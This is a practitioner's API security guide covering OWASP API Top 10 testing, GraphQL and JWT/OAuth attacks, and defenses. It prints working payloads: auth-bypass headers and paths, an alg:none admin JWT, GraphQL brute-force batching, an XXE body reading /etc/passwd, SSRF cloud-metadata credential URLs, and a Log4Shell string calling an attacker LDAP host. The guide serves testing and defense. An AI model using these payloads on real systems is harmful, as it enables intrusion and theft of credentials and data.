Comprehensive API Security Guide#
A practitioner’s reference for API security — attack surface, OWASP API Top 10 exploitation, authentication and authorization bypasses, GraphQL-specific attacks, rate limit evasion, real-world chains, and detection/prevention. Compiled from 30 research sources.
Table of Contents#
- Fundamentals
- API Styles: REST vs GraphQL vs gRPC vs SOAP
- API Recon & Attack Surface Discovery
- OWASP API Security Top 10 (2023)
- BOLA / IDOR Deep Dive
- Broken Authentication & Token Attacks
- BOPLA: Mass Assignment & Excessive Data Exposure
- Broken Function Level Authorization (BFLA)
- Unrestricted Resource Consumption & Rate Limit Bypasses
- Business Flow Abuse
- SSRF in APIs
- Security Misconfiguration & Improper Inventory
- Unsafe Consumption of Third-Party APIs
- GraphQL-Specific Attacks
- JWT & OAuth 2.0 Exploitation
- Injection in APIs
- Real-World CVEs & Breach Chains
- Tools & Automation
- Detection & Prevention
- Testing Checklist
1. Fundamentals#
APIs now account for ~83% of web traffic. The average cost of an API breach is $4.88M (T-Mobile 2023, 37M users affected). Unlike traditional web apps, APIs expose more endpoints, lack a constraining UI, and are often protected by weaker compensating controls because developers assume machine-to-machine trust.
Why APIs fail differently from web apps:
| Factor | Web App | API |
|---|---|---|
| UI constrains input | Yes | No — any parameter can be sent |
| Discovery | Crawl HTML | Requires schemas / JS parsing / brute-force |
| Auth model | Sessions + CSRF tokens | Bearer tokens, API keys, mTLS |
| Object references | Indirect | Direct IDs in URLs (/api/users/123) |
| Rate limiting | Per-session/browser | Per-token, frequently absent |
| State | Server-side | Often stateless — each request fully authz’d |
| Error visibility | Hidden | Verbose by design |
Impact spectrum: Information disclosure → horizontal privilege escalation → vertical privilege escalation → data exfiltration → account takeover → financial fraud → full tenant compromise.
2. API Styles: REST vs GraphQL vs gRPC vs SOAP#
| Feature | REST | GraphQL | gRPC | SOAP |
|---|---|---|---|---|
| Transport | HTTP/1.1+, JSON | HTTP POST, JSON | HTTP/2, Protobuf | HTTP, XML |
| Discovery | OpenAPI/Swagger | Introspection | .proto reflection | WSDL |
| Endpoint model | Resource per URL | Single /graphql | Service/method | Single /service |
| Versioning | URL or header | Schema evolution | Backward-compat protos | Namespace |
| Typical bugs | BOLA, BFLA, mass assign | Introspection, batching, depth DoS | Reflection exposed, missing auth | XXE, wrapping, WSDL leak |
| Rate-limit quirks | Path-based | Alias/batch bypass | Streaming bypass | Per-envelope |
| Fuzzing | Swagger replay | Query mutation | Protoc + grpcurl | SOAPUI |
Quick fingerprinting#
# REST/Swagger
/openapi.json /swagger.json /swagger/index.html /api-docs /v1/api-docs
/actuator/mappings /routes /api/v1 /api
# GraphQL
/graphql /api/graphql /graphql/api /v1/graphql /query /gql
Probe: query={__typename}
# gRPC-Web
Content-Type: application/grpc-web+proto
Service reflection: grpcurl -plaintext host:443 list
# SOAP
?wsdl /services/ /ws/ Content-Type: text/xml; action:"..."
3. API Recon & Attack Surface Discovery#
Documentation discovery paths#
| Path | Tech |
|---|---|
/swagger/index.html, /swagger-ui.html | Swagger UI |
/openapi.json, /v3/api-docs | OpenAPI 3 / Springfox |
/api-docs, /api/docs | Generic |
/actuator/* | Spring Boot — /env, /heapdump, /mappings |
/graphql, /playground, /altair | GraphQL |
/swagger-resources | Swagger config |
/routes, /rails/info/routes | Rails |
/_debug_toolbar__/, /__debug__/ | Django/Flask |
Hidden endpoint mining#
- Walk JavaScript bundles —
LinkFinder,JSMiner,secretfinder - Grep for
fetch("/api/,axios.get("/v1/,.ajax({url: - Param Miner (Burp BApp) — up to 65k param names per request
- Content Discovery /
ffufwithapi-endpoints.txt,common-api-params.txt - Google dorks:
inurl:swagger.json site:target.com,inurl:api/v1 filetype:json waybackurls,gau,katanafor historical endpoints (deprecated versions often still live)- Mobile apps: decompile APK, grep smali/strings for URLs and API keys
HTTP methods enumeration#
Enumerate every endpoint with OPTIONS, GET, POST, PUT, PATCH, DELETE, HEAD, TRACE. Admin-only mutations are frequently reachable with POST removed from docs but alive.
HTTP verbs to cycle: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD, TRACE, CONNECT
Content types to flip: application/json, application/xml, application/x-www-form-urlencoded,
text/xml, multipart/form-data, application/yaml, text/plain
Version enumeration#
Downgrade checks — /api/v1/ often lacks fixes shipped to /api/v3/. Try:
/api/v1/users /api/v2/users /api/v3/users
/api/beta/users /api/internal/users /api/private/users
/api/dev/users /api/staging/users
X-API-Version: 1
Accept: application/vnd.company.v1+json
4. OWASP API Security Top 10 (2023)#
| ID | Name | Short description | Primary control |
|---|---|---|---|
| API1 | Broken Object Level Authorization | Client-supplied ID trusted without ownership check | Per-request object authz middleware |
| API2 | Broken Authentication | Weak tokens, improper session/token validation | Short-lived tokens, MFA, rotation |
| API3 | Broken Object Property Level Authorization | EDE + mass assignment at field level | Field allowlist / schema projection |
| API4 | Unrestricted Resource Consumption | CPU/memory/cost exhaustion | Quotas, depth limits, timeouts, budgets |
| API5 | Broken Function Level Authorization | Role boundary not enforced per function | RBAC/ABAC, route isolation |
| API6 | Unrestricted Access to Sensitive Business Flows | Legit endpoint abused at scale | Step tokens, velocity rules, async queues |
| API7 | Server-Side Request Forgery | Unvalidated outbound fetch | URL allowlist, private-range denylist, IMDSv2 |
| API8 | Security Misconfiguration | Default creds, verbose errors, CORS wildcards | Hardened baselines, IaC checks |
| API9 | Improper Inventory Management | Shadow/zombie APIs, old versions alive | Schema-traffic diff, deprecation gates |
| API10 | Unsafe Consumption of APIs | Trusting third-party responses | Validate responses, mTLS, kill-switch |
2019 → 2023 category changes#
| 2019 | 2023 | Reason |
|---|---|---|
| API3 Excessive Data Exposure + API6 Mass Assignment | API3 BOPLA | Both are field-level auth failures |
| API4 Lack of Resources & Rate Limiting | API4 Unrestricted Resource Consumption | Broadens to CPU/memory/downstream cost |
| — | API6 Unrestricted Business Flows | New — business logic abuse |
| — | API7 SSRF | Promoted to top-level — cloud metadata risk |
| API10 Insufficient Logging | API10 Unsafe Consumption | Supply chain trust |
5. BOLA / IDOR Deep Dive#
BOLA tops the list because it is easy to exploit (just swap an ID), hard to detect (stateful; scanners without auth context miss it), and bypasses traditional defenses (WAFs cannot know your ownership model). In the Wallarm Q2 2025 ThreatStats report, BOLA accounted for the majority of API-related Known Exploited Vulnerabilities.
Injection points#
| Location | Example |
|---|---|
| URL path | GET /api/users/123/orders |
| Query string | GET /api/orders?id=123 |
| Request body | {"order_id": 123} |
| Header | X-User-Id: 123, X-Account-Id: abc |
| JWT claim (unsigned portion) | sub, tenant_id — server trusts without re-check |
| Nested object reference | {"user": {"id": 123}} |
| GraphQL variable | query { product(id: 3) { ... } } |
Exploitation patterns#
# Horizontal (swap to peer tenant/user)
GET /api/v1/users/12345/invoices → GET /api/v1/users/12346/invoices
# Null / type confusion
GET /api/v1/users/null/documents
GET /api/v1/users/0/documents
GET /api/v1/users/[]/documents
GET /api/v1/users/12345%00/documents
# Wildcard
GET /api/v1/users/*/documents
# Case sensitivity / encoding
GET /api/v1/Users/12346 (vs Users)
GET /api/v1/users/12%334 (URL-encoded 3)
# Wrap in array (JSON parser promotion)
{"user_id": [12346, 12345]}
# HTTP method swap
GET /api/orders/123 → 200
PUT /api/orders/123 → 200 (missing auth on write)
DELETE /api/orders/123 → 204
# Version downgrade
/api/v1/users/{id} (no auth) vs /api/v2/users/{id} (fixed)
Real-world BOLA#
| Target | Impact |
|---|---|
| Peloton (2021) | All account profiles readable via user_id swap |
| Sapphos dating app (2025) | Names, birthdates, ID verification selfies exposed; app shut down |
| USPS Informed Visibility (2018) | 60M accounts exposed |
| T-Mobile (2023) | 37M records via API |
Detection checklist#
- Every object reference (IDs, GUIDs, slugs, emails) swapped cross-tenant → must 403/404
- Sequential enumeration across known endpoints
- Test with no auth, low-privilege token, peer token, admin token
- Try expired/deleted/soft-deleted objects — often still readable
- Check all representations: int, string, array, object, null
- Test nested relationships (
/orders/{id}/items/{item_id}— item_id often unchecked)
6. Broken Authentication & Token Attacks#
Token types and common failures#
| Type | Common failure |
|---|---|
| API key (static) | Leaked in GitHub/JS/mobile app; no rotation; no scope |
| Basic auth | Reused password; base64 isn’t encryption |
| Session cookie | CSRF, session fixation, not HttpOnly |
| JWT | alg:none, weak HMAC, key confusion, missing exp |
| OAuth 2.0 access token | Over-scoped, long-lived, bearer everywhere |
| mTLS cert | Weak CA, no revocation, wildcard CN |
| HMAC request signing | Replayable without nonce/timestamp |
Auth bypass techniques#
# Header injection bypass
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Custom-IP-Authorization: 127.0.0.1
X-User-Id: 1 (trusted by backend behind gateway)
# Path confusion
GET /admin/users → 403
GET /admin/../admin/users → 200
GET //admin/users
GET /admin%2fusers
GET /admin;.json
# Case / trailing slash
GET /Admin/users → bypasses lowercased-only regex
GET /admin/users/ vs /admin/users
# HTTP method override
POST /api/admin/users
X-HTTP-Method-Override: PUT
_method=DELETE (Rails)
Brute-force and credential stuffing#
- Login endpoints with no CAPTCHA / no velocity checks
- Password reset enumeration — different response for existing vs non-existing email
- MFA bypass: resend endpoint without throttling, skip step by replaying pre-MFA token
- OTP race conditions
- Password reset token guessable / returned in response / logged server-side
7. BOPLA: Mass Assignment & Excessive Data Exposure#
Excessive Data Exposure (response-side)#
API returns full DB object; client filters. Attackers read fields not shown in UI.
GET /api/users/me
{
"id": 123,
"name": "alice",
"email": "alice@example.com",
"password_hash": "$2b$...", ← leaked
"reset_token": "abc123", ← leaked
"is_admin": false,
"stripe_customer_id": "cus_...", ← leaked
"ssn": "***-**-1234", ← leaked
"internal_notes": "VIP" ← leaked
}
Test: Intercept every response. Diff against what the UI displays. Any extra field = finding.
Mass Assignment (request-side)#
Framework auto-binds request body to model. Attacker adds extra fields.
PATCH /api/users/me
{
"email": "new@example.com",
"is_admin": true, ← mass assign privilege
"email_verified": true, ← bypass verification
"balance": 9999999, ← tamper state
"role": "admin",
"tenant_id": 1 ← cross-tenant
}
Framework-specific binders:
| Framework | Binder | Safe mechanism |
|---|---|---|
| Rails | User.update(params[:user]) | strong_parameters, permit(...) |
| Django REST | ModelSerializer | fields = [...] explicit |
| Spring | @ModelAttribute | @JsonIgnore, DTO projection |
| .NET | Model binding | [Bind(Include="...")], view models |
| Express/Mongoose | new User(req.body) | Schema-level select: false |
| Laravel | $user->fill($request->all()) | $fillable / $guarded |
Hidden field discovery#
GET /api/users/123→ note every returned field- Try each field name in
PATCH /api/users/mebody - Look for 200 vs 400 behavior difference
- Confirm with boolean-flag test: set
is_admin: "foo"— if behavior differs fromis_admin: true, field is bound
8. Broken Function Level Authorization (BFLA)#
BFLA is privilege role escalation: user A can call endpoints that should be admin-only. Different from BOLA (which is object-level).
Test matrix#
For each endpoint, run: anonymous, low-priv, peer, admin. Any endpoint that should return 403 but returns 200 for low-priv is a finding.
Common patterns#
# Hidden admin path
POST /api/users (any)
POST /api/admin/users (admin) ← try as low-priv
# Method swap
GET /api/users/123 (any)
DELETE /api/users/123 (admin) ← try as low-priv
# Role param injection
POST /api/signup
{"email": "...", "password": "...", "role": "admin"}
# Trusted header from gateway
X-User-Role: admin
X-Is-Admin: true
X-Roles: ["admin","user"]
9. Unrestricted Resource Consumption & Rate Limit Bypasses#
Classic resource attacks#
| Attack | Vector |
|---|---|
| Requests/sec flood | Login, search, export endpoints |
| Large payload | 100MB JSON, deeply nested objects |
| Expensive query | ?limit=100000, unfiltered joins |
| Regex catastrophic backtracking | ReDoS in email/phone validators |
| Memory bombs | Billion-laughs XML, zip bombs on upload |
| Downstream call amplification | One API call triggers N backend calls |
| Email/SMS quotas | Unrate-limited forgot-password / OTP endpoints ($$$) |
Rate limit bypasses#
# IP rotation headers (WAF / gateway trusts)
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Host: attacker.com
Forwarded: for=1.2.3.4
CF-Connecting-IP: 1.2.3.4
# Case / trailing slash (limit keyed on exact path)
/api/login vs /api/Login vs /api/login/
# Parameter padding (cache-key confusion)
/api/login?x=1 /api/login?x=2 /api/login?x=3
# Multiple accounts
Register N accounts, rotate tokens
# HTTP/2 rapid reset (CVE-2023-44487)
Abuse HTTP/2 stream reset for amplification
# GraphQL alias batching
query {
a1: login(u:"admin", p:"pass1") { token }
a2: login(u:"admin", p:"pass2") { token }
...
a1000: login(u:"admin", p:"pass1000") { token }
}
Rate limit detection#
Look for absence of X-RateLimit-Remaining, Retry-After, 429. Test each endpoint independently — per-endpoint limits often missing while global limits exist.
10. Business Flow Abuse#
Legitimate endpoints, abused at scale. WAFs don’t catch because every request is “valid.”
| Flow | Abuse |
|---|---|
| Checkout / ticket purchase | Scalping, inventory hoarding |
| Gift card redemption | Brute-force codes |
| Referral bonuses | Sybil farming |
| Loyalty points | Automated accrual |
| Review/rating | Fake reviews |
| Forgot password | Account enumeration, email bombing |
| Discount code application | Stacking, brute-force |
| Account signup | Bot registration |
| Content scraping | Data exfiltration |
Defenses#
- Step tokens (HMAC over flow state) — binds cart → checkout
- Velocity rules per user/device/ASN
- Idempotency keys on mutating endpoints
- Expose async jobs for bulk ops (with review) instead of sync endpoints
- Device fingerprinting + behavior analytics
11. SSRF in APIs#
API7 in the 2023 list. APIs are a rich SSRF surface because they frequently accept webhooks, avatar URLs, PDF/HTML rendering URLs, and OAuth/OIDC configuration URLs.
API-specific SSRF sinks#
| Endpoint type | Parameter |
|---|---|
| Webhook registration | callback_url, notification_url, target |
| Avatar/logo upload | image_url, profile_picture |
| URL preview / link unfurl | url, link |
| OpenID Connect discovery | issuer, .well-known/openid-configuration URL |
| SAML metadata | metadata_url |
| OAuth client registration | redirect_uri, jwks_uri |
| Document/PDF generation | html_url, template_url |
| RSS / import feeds | feed_url |
| File import from URL | source_url |
Cloud metadata quick hits#
AWS IMDSv1: http://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS IMDSv2: requires PUT /api/token first — blocks simple SSRF
GCP: http://metadata.google.internal/computeMetadata/v1/ (needs Metadata-Flavor: Google)
Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 (needs Metadata:true)
DigitalOcean:http://169.254.169.254/metadata/v1/
Alibaba: http://100.100.100.200/latest/meta-data/
Mitigation: Enforce IMDSv2 + metadata hop limits = 1. Deny private ranges by default in fetch libraries. Require explicit allowlist of hostnames for outbound fetches.
(See separate SSRF guide for comprehensive bypass techniques.)
12. Security Misconfiguration & Improper Inventory#
Misconfig hitlist#
# CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true ← dangerous combo
Access-Control-Allow-Origin: null ← bypasses with sandboxed iframe
Origin reflection without allowlist
# Verbose errors
Stack traces, SQL queries, file paths, internal hostnames
Swagger/GraphQL introspection in production
# Headers missing
Strict-Transport-Security
Content-Security-Policy
X-Content-Type-Options: nosniff
Cache-Control: no-store (for PII responses)
# Default credentials
admin:admin, actuator:actuator, tomcat:tomcat
# Debug endpoints
/actuator/env, /actuator/heapdump, /actuator/gateway/routes
/_debug, /__debug__, /debug/pprof
/swagger, /graphql-playground in prod
Real-world misconfig examples#
- SVR Tracking (2017): Misconfigured API exposed 500k tracking devices
- FleetSecure (2024):
X-Api-Versionheader injected JNDI lookup → RCE - Spring Boot Actuator:
/envleaks secrets,/heapdumpdumps memory,/jolokia+ JMX → RCE
Improper Inventory (API9) — shadow and zombie APIs#
| Problem | Example |
|---|---|
| Shadow API | Undocumented /internal/* reachable externally |
| Zombie API | /api/v1/ deprecated but still running without fixes |
| Staging bleed | dev.api.example.com with prod data |
| Test hosts in prod | /api/test/, /api/sandbox/ |
| Forgotten regions | us-west-2 copy without the patches deployed to us-east-1 |
Defense: Diff OpenAPI spec ↔ observed traffic nightly. Block calls to non-owned subdomains. Alert on auth-less endpoints receiving PII. Gate merges on schema deprecation plans.
13. Unsafe Consumption of Third-Party APIs#
Trust boundary doesn’t end at your own gateway. Vendor responses are untrusted input.
Failure modes:
- Vendor returns HTML/script injected in a string field → stored XSS in your UI
- Vendor returns unexpected status code → exception handling reveals internals
- Vendor redirect → SSRF in your follow-up fetch
- Vendor response not schema-validated → type confusion
- Vendor breach → stolen API key used to query your backend
Controls:
| Control | Why |
|---|---|
| mTLS to partners | Prevents impersonation |
| Strict JSON schema on responses | Blocks drift, injection |
| Egress allowlist | Stops lateral movement |
| Separate outbound queue per vendor | Isolates cascading failure |
| Kill-switch per integration | Revoke compromised vendor instantly |
| Key rotation ≤ 90 days | Limits leaked-key blast radius |
| Separate egress IP per partner | Attribution |
14. GraphQL-Specific Attacks#
Endpoint discovery#
Common paths: /graphql /api/graphql /graphql/api /v1/graphql /query /gql
Universal probe: {__typename} → returns {"data":{"__typename":"query"}}
Try POST application/json, then GET with ?query=, then POST x-www-form-urlencoded (CSRFable).
Introspection attack#
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types { ...FullType }
}
}
If blocked, try bypasses:
# Newline between keyword and brace (naive regex bypass)
{"query": "query{__schema\n{queryType{name}}}"}
# Method swap — often POST blocked, GET allowed
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D
# Content-type swap
Content-Type: application/x-www-form-urlencoded
query=query{__schema{queryType{name}}}
Clairvoyance (suggestion-based schema recovery)#
Apollo returns Did you mean 'productInformation'? on typos. Tool: Clairvoyance recovers schema even with introspection disabled.
Alias-based rate limit bypass#
Single HTTP request, N operations:
query bruteDiscount {
c1: checkCode(code: "ABC001") { valid }
c2: checkCode(code: "ABC002") { valid }
c3: checkCode(code: "ABC003") { valid }
...
c1000: checkCode(code: "ABC1000") { valid }
}
Also used for login brute force, OTP brute force, email enumeration.
Batching bypass#
[
{"query": "mutation { login(u:\"a\", p:\"p1\") { token } }"},
{"query": "mutation { login(u:\"a\", p:\"p2\") { token } }"},
...
]
Query depth / field duplication DoS#
query {
user {
posts {
author {
posts {
author {
posts { ... recursive ... }
}
}
}
}
}
}
Unbounded recursion crushes resolvers. Mitigations: graphql-depth-limit, graphql-cost-analysis, persisted queries.
GraphQL CSRF#
If endpoint accepts GET or x-www-form-urlencoded POST, state-changing mutations become CSRFable. Must force application/json content-type and reject everything else.
IDOR via direct argument#
query { product(id: 3) { name, listed } } # Gets delisted product
query { user(id: 1) { email, apiKey } } # Gets other user
GraphQL attack tools#
- InQL (Burp) — schema parsing, query generation, point-and-click mutation testing
- GraphQL Cop — misconfiguration scanner
- GraphQL Voyager — schema visualizer
- Clairvoyance — schema recovery from suggestions
- BatchQL — batch/aliasing tests
- GraphW00F — GraphQL fingerprinting
15. JWT & OAuth 2.0 Exploitation#
JWT attack table#
| Attack | Payload/Trigger |
|---|---|
alg: none | Set header {"alg":"none"}, strip signature |
| Algorithm confusion | Change RS256 → HS256, sign with public key as HMAC secret |
| Weak HMAC secret | Crack with hashcat -m 16500 (wordlists: jwt.secrets.list) |
kid path traversal | "kid": "../../../../dev/null" + empty sig |
kid SQL injection | "kid": "key1' UNION SELECT 'secret" |
jku / x5u header | Point to attacker-controlled JWKS |
| Expired token accepted | No exp validation |
nbf bypass | Future nbf still accepted |
aud/iss not validated | Cross-service token reuse |
| Null signature | header.payload. (empty third segment) |
| JWT in unusual location | ?token=, header, cookie — backend parses all |
# alg:none example
eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
Tools: jwt_tool, jwt-cracker, hashcat -m 16500#
OAuth 2.0 attacks#
| Attack | Description |
|---|---|
redirect_uri open redirect | Exact match not enforced — steal code |
redirect_uri path append | https://legit.com/cb/../../attacker |
| Implicit flow token leak | Referer header leak |
| Missing PKCE | Code interception on mobile |
Missing state param | CSRF — account linking |
| Scope escalation | Request admin scope, server grants |
| Mix-up attack | Confuse client between two IdPs |
Cross-site leaks via postMessage | Missing origin check |
response_type=token id_token without nonce | Replay |
| Authorization code reuse | Server doesn’t invalidate on first use |
| Account hijack via email verification | Pre-register victim email before they do |
OIDC-specific#
jwks_uriSSRFissuerinjection- Unvalidated
id_tokensignature audclaim = wrong client_id
16. Injection in APIs#
APIs are injection-rich because they forward raw JSON into backends. Classic injection categories all apply:
| Type | Example |
|---|---|
| SQLi | {"filter": "1 OR 1=1"} in search endpoints |
| NoSQL injection | {"username": {"$ne": null}, "password": {"$ne": null}} |
| Command injection | Filename fields forwarded to shell |
| SSTI | Template engines rendering user input |
| XXE | XML body with external entity |
| XPath injection | XPath query builders |
| LDAP injection | Directory lookup APIs |
| Log4Shell | ${jndi:ldap://attacker} in any logged header (User-Agent, X-Api-Version, Referer) |
| Header injection / CRLF | \r\n into response headers |
| Server-Side Parameter Pollution | q=normal&q=../../admin — internal API sees both |
Content-Type flipping#
APIs often secure JSON but unsafe for XML:
POST /api/user
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>
17. Real-World CVEs & Breach Chains#
| Year | Target | Bug | Impact |
|---|---|---|---|
| 2018 | USPS Informed Visibility | BOLA on user_id | 60M accounts exposed |
| 2018 | Token theft via View-As | 50M accounts | |
| 2019 | Capital One | SSRF → IMDS → S3 | 100M+ records |
| 2020 | Shopify Exchange | SSRF → root container | RCE |
| 2021 | Peloton | BOLA on profile endpoint | All user data |
| 2021 | John Deere | BOLA + BFLA | Entire farm equipment fleet |
| 2021 | Experian | Broken auth on /lookupToken | Full credit file lookup |
| 2022 | Optus | Unauth API endpoint | 10M customer records |
| 2023 | T-Mobile | BOLA / misconfig | 37M records |
| 2023 | EDE on find_by_email | 200M emails scraped | |
| 2024 | FleetSecure | Log4Shell via X-Api-Version | RCE |
| 2025 | Sapphos dating | BOLA | App shut down |
Chain patterns#
BOLA → PII disclosure → phishing → ATO
Mass assignment → privilege escalation → admin API → full tenant takeover
SSRF → cloud metadata → IAM credentials → S3 exfil → ransomware
Introspection leak → hidden mutation → BFLA → admin takeover
Broken auth on reset → email hijack → OAuth account linking → SSO ATO
Shadow API /v1 → no rate limit → brute force → ATO
GraphQL alias batching → login brute → ATO
18. Tools & Automation#
Proxies & interception#
| Tool | Strength |
|---|---|
| Burp Suite Pro | Repeater, Intruder, Scanner, ecosystem of BApps |
| Caido | Modern alternative, workflow automation |
| OWASP ZAP | Free, scriptable, CI-friendly |
| mitmproxy | Scriptable Python addons, mobile traffic |
Key Burp BApps for API testing#
- Autorize — automatic BFLA/BOLA detection via two-session diff
- AuthMatrix — manual matrix auth testing
- InQL — GraphQL scanner
- JWT Editor — sign/unsign/tamper tokens
- Param Miner — hidden parameter discovery
- JS Link Finder — extract endpoints from JS
- OpenAPI Parser — import Swagger into Burp
- Content Type Converter — JSON ↔ XML flipping
- Logger++ — advanced request logging
Standalone / CLI#
| Tool | Use |
|---|---|
| Postman / Newman | Collection-driven testing, scripting |
| ffuf | Endpoint / parameter fuzzing |
| kiterunner | API-aware content discovery (kr scan) |
| arjun | Hidden parameter discovery |
| jwt_tool | JWT attack automation |
| sqlmap | SQLi in JSON bodies (--data + * markers) |
| GraphQL Cop | Misconfig scanner |
| Clairvoyance | GraphQL schema recovery |
| InQL CLI | GraphQL scanning headless |
| grpcurl | gRPC reflection and calls |
| Nuclei | Template-driven vuln scanning (API templates) |
| Akto | OSS API discovery + testing |
| APIsec.ai / Salt / Noname | Enterprise API security platforms |
| RESTler | Microsoft’s stateful REST fuzzer |
| Schemathesis | Property-based testing from OpenAPI |
| fuzzapi | API fuzzer |
| Bright (formerly NeuraLegion) | Dev-first DAST with API coverage |
REST fuzzing research#
Academic work (Microsoft RESTler, follow-ups) adds access policy violation checks and injection attack detection on top of stateful REST fuzzing. Key insight: sequences of API calls expose bugs single-request fuzzers miss, because state changes unlock hidden code paths.
19. Detection & Prevention#
Design-time controls#
- Schema-first development — OpenAPI/GraphQL schema is source of truth; code generated or validated against it
- DTO projection — never bind request body directly to DB model
- Explicit field allowlists on every write path
- Centralized authz middleware — never hand-roll per endpoint
- Attribute-based access control (ABAC) — resource + subject + action + context
- Deny-by-default egress — allowlist outbound hosts
- Rate limits on every endpoint, not just global
Gateway / runtime controls#
| Control | Purpose |
|---|---|
| OAuth 2.0 + short-lived JWT (≤15 min) | Limit token blast radius |
| mTLS for service-to-service | Prevent impersonation |
| Per-endpoint quotas (req/min, bytes, CPU) | API4 defense |
| Request size limits | Memory DoS |
| JSON depth limits | Parser DoS |
| Query complexity analysis (GraphQL) | Depth/cost DoS |
| IMDSv2 + hop limit 1 | SSRF defense |
| Private range denylist in HTTP client | SSRF defense |
CORS allowlist (never * with credentials) | Misconfig |
| Strong CSP, HSTS, X-Content-Type-Options | Misconfig |
Detection / monitoring#
- Unusual enumeration patterns — many 404s or sequential IDs from one token → BOLA probing
- Response size anomaly — token suddenly returning 10× data → BOPLA abuse
- Auth failure spike → credential stuffing
- New endpoints not in spec → shadow API
- 5xx spike → fuzzing in progress
- Unusual method usage → method override probing
- High-cost query → GraphQL depth abuse
- Token reused across IPs → stolen credential
CI/CD gates#
| Test | Gate |
|---|---|
| Swap object ID cross-tenant → expect 403 | API1 |
| Expired/invalid token → expect 401 | API2 |
Mass assign hidden field isAdmin:true | API3 |
| k6 load test p95 < threshold | API4 |
| Non-admin calls admin fn → 403 | API5 |
| Rapid checkout replay → 429 | API6 |
| Private-IP webhook URL → 400 | API7 |
| Debug endpoints → 404 in prod | API8 |
| Unknown routes in traffic vs spec → alert | API9 |
| Third-party schema drift → fail | API10 |
SAST/DAST signal sources#
- SAST: flag
User.update(params[:user]),new User(req.body), missing@JsonIgnore, any?redirect=sink - DAST: schema replay, authz diff between roles, fuzz hidden params, method cycling
- IAST: catch ownership-check omissions at runtime
- API discovery: correlate actual traffic against OpenAPI spec
20. Testing Checklist#
Recon#
- Fetch
/openapi.json,/swagger.json,/v3/api-docs,/api-docs - Fingerprint GraphQL at common paths with
{__typename} - Extract endpoints from JS bundles (LinkFinder)
- Walk JS for hardcoded URLs, tokens, API keys
-
waybackurls+gaufor historical endpoints - Check
/actuator/*,/_debug,/debug/pprof - Enumerate API versions:
/api/v1..v5,/api/internal,/api/beta - Mobile app: decompile, grep for endpoints
- Check for Swagger UI / GraphQL Playground in prod
Authentication (API2)#
- Try no auth on every endpoint
- Try expired token
- Try another user’s token
- Try modified JWT (
alg:none, algorithm confusion) - Crack weak HMAC secrets
- Test
kidheader tampering - Password reset token leakage / predictability
- MFA bypass via direct endpoint
- OAuth
redirect_urimanipulation - OAuth
state/noncemissing
BOLA (API1)#
- Swap every object ID in path, query, body, header
- Try cross-tenant IDs
- Try sequential enumeration
- Try deleted object IDs
- Try null/array/object type confusion
- Test nested references
- Check old API versions for missing checks
BOPLA (API3)#
- Diff API response against UI display for hidden fields
- Enumerate fields via
GETthen try inPATCH/PUT - Try
is_admin,role,verified,balance,tenant_id - Try boolean/string type confusion on privilege fields
- Check nested object mass assignment
Resource consumption (API4)#
- Send oversized payload (>100MB)
- Deeply nested JSON (1000 levels)
- Unbounded pagination (
?limit=999999) - Absent rate limiting per endpoint
- GraphQL alias batching
- Unbounded file upload
BFLA (API5)#
- Call admin endpoints as low-priv user
- Method swap (GET→DELETE, GET→PUT)
- Try
X-User-Role: admintrusted header - Register with
role: adminin body
Business flow (API6)#
- Replay checkout / redeem endpoints
- Brute-force discount codes
- Coupon stacking
- Referral abuse
SSRF (API7)#
- Every webhook/URL field → try
http://169.254.169.254/... - Private ranges, localhost, IPv6, DNS rebinding
- OIDC
jwks_uri, SAMLmetadata_url - PDF/HTML rendering endpoints
Misconfig (API8)#
- CORS: origin reflection,
nullorigin, credentials + wildcard - Verbose errors / stack traces
- Missing security headers
- Default credentials
- Debug endpoints exposed
Inventory (API9)#
- Shadow endpoints not in docs
- Deprecated v1 still live
- Staging domains with prod data
Unsafe consumption (API10)#
- Does backend validate third-party responses?
- Can I poison a response (e.g. DNS) to inject?
GraphQL-specific#
- Introspection enabled?
- Bypass with newline/method swap
- Suggestions enabled (Clairvoyance)?
- Alias batching for rate bypass?
- Query batching?
- Depth limits enforced?
- Cost analysis?
- CSRF via GET / form-encoded POST?
- IDOR via direct arguments?
Injection#
- SQLi in JSON fields (sqlmap with
*markers) - NoSQL operator injection (
{$ne: null}) - Command injection in filename/path fields
- SSTI in template fields
- XXE via content-type flip
- Log4Shell in User-Agent, Referer, X-Forwarded-For, custom headers
- CRLF injection in header reflection
Appendix A: Quick Payload Reference#
BOLA test payloads#
/api/users/1 /api/users/2 /api/users/0 /api/users/-1
/api/users/null /api/users/%00 /api/users/[]
/api/users/1/../2 /api/users/1%2f..%2f2
Mass assignment field dictionary#
is_admin isAdmin admin role roles permissions scopes
verified email_verified is_active is_staff is_superuser
balance credit points tokens
tenant_id organization_id account_id owner_id
created_by updated_by deleted deleted_at
password_hash api_key secret token refresh_token
Rate limit bypass headers#
X-Forwarded-For, X-Real-IP, X-Client-IP, X-Originating-IP,
X-Remote-IP, X-Remote-Addr, X-Host, X-Forwarded-Host,
CF-Connecting-IP, True-Client-IP, Forwarded, Via
Auth bypass headers#
X-Original-URL, X-Rewrite-URL, X-Override-URL
X-HTTP-Method-Override, X-HTTP-Method, X-Method-Override
X-User-Id, X-User, X-Roles, X-Role, X-Is-Admin
X-Authenticated-User, X-Auth-User, X-Forwarded-User
GraphQL universal probe#
{"query": "{__typename}"}
GraphQL introspection bypass#
{"query": "query{__schema\n{queryType{name}}}"}
JWT alg:none#
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9.
Appendix B: Framework Quick Notes#
| Framework | Mass assign safe | Common pitfall |
|---|---|---|
| Rails | strong_parameters | permit! or missing permit |
| Django REST | ModelSerializer.Meta.fields = [...] | fields = '__all__' |
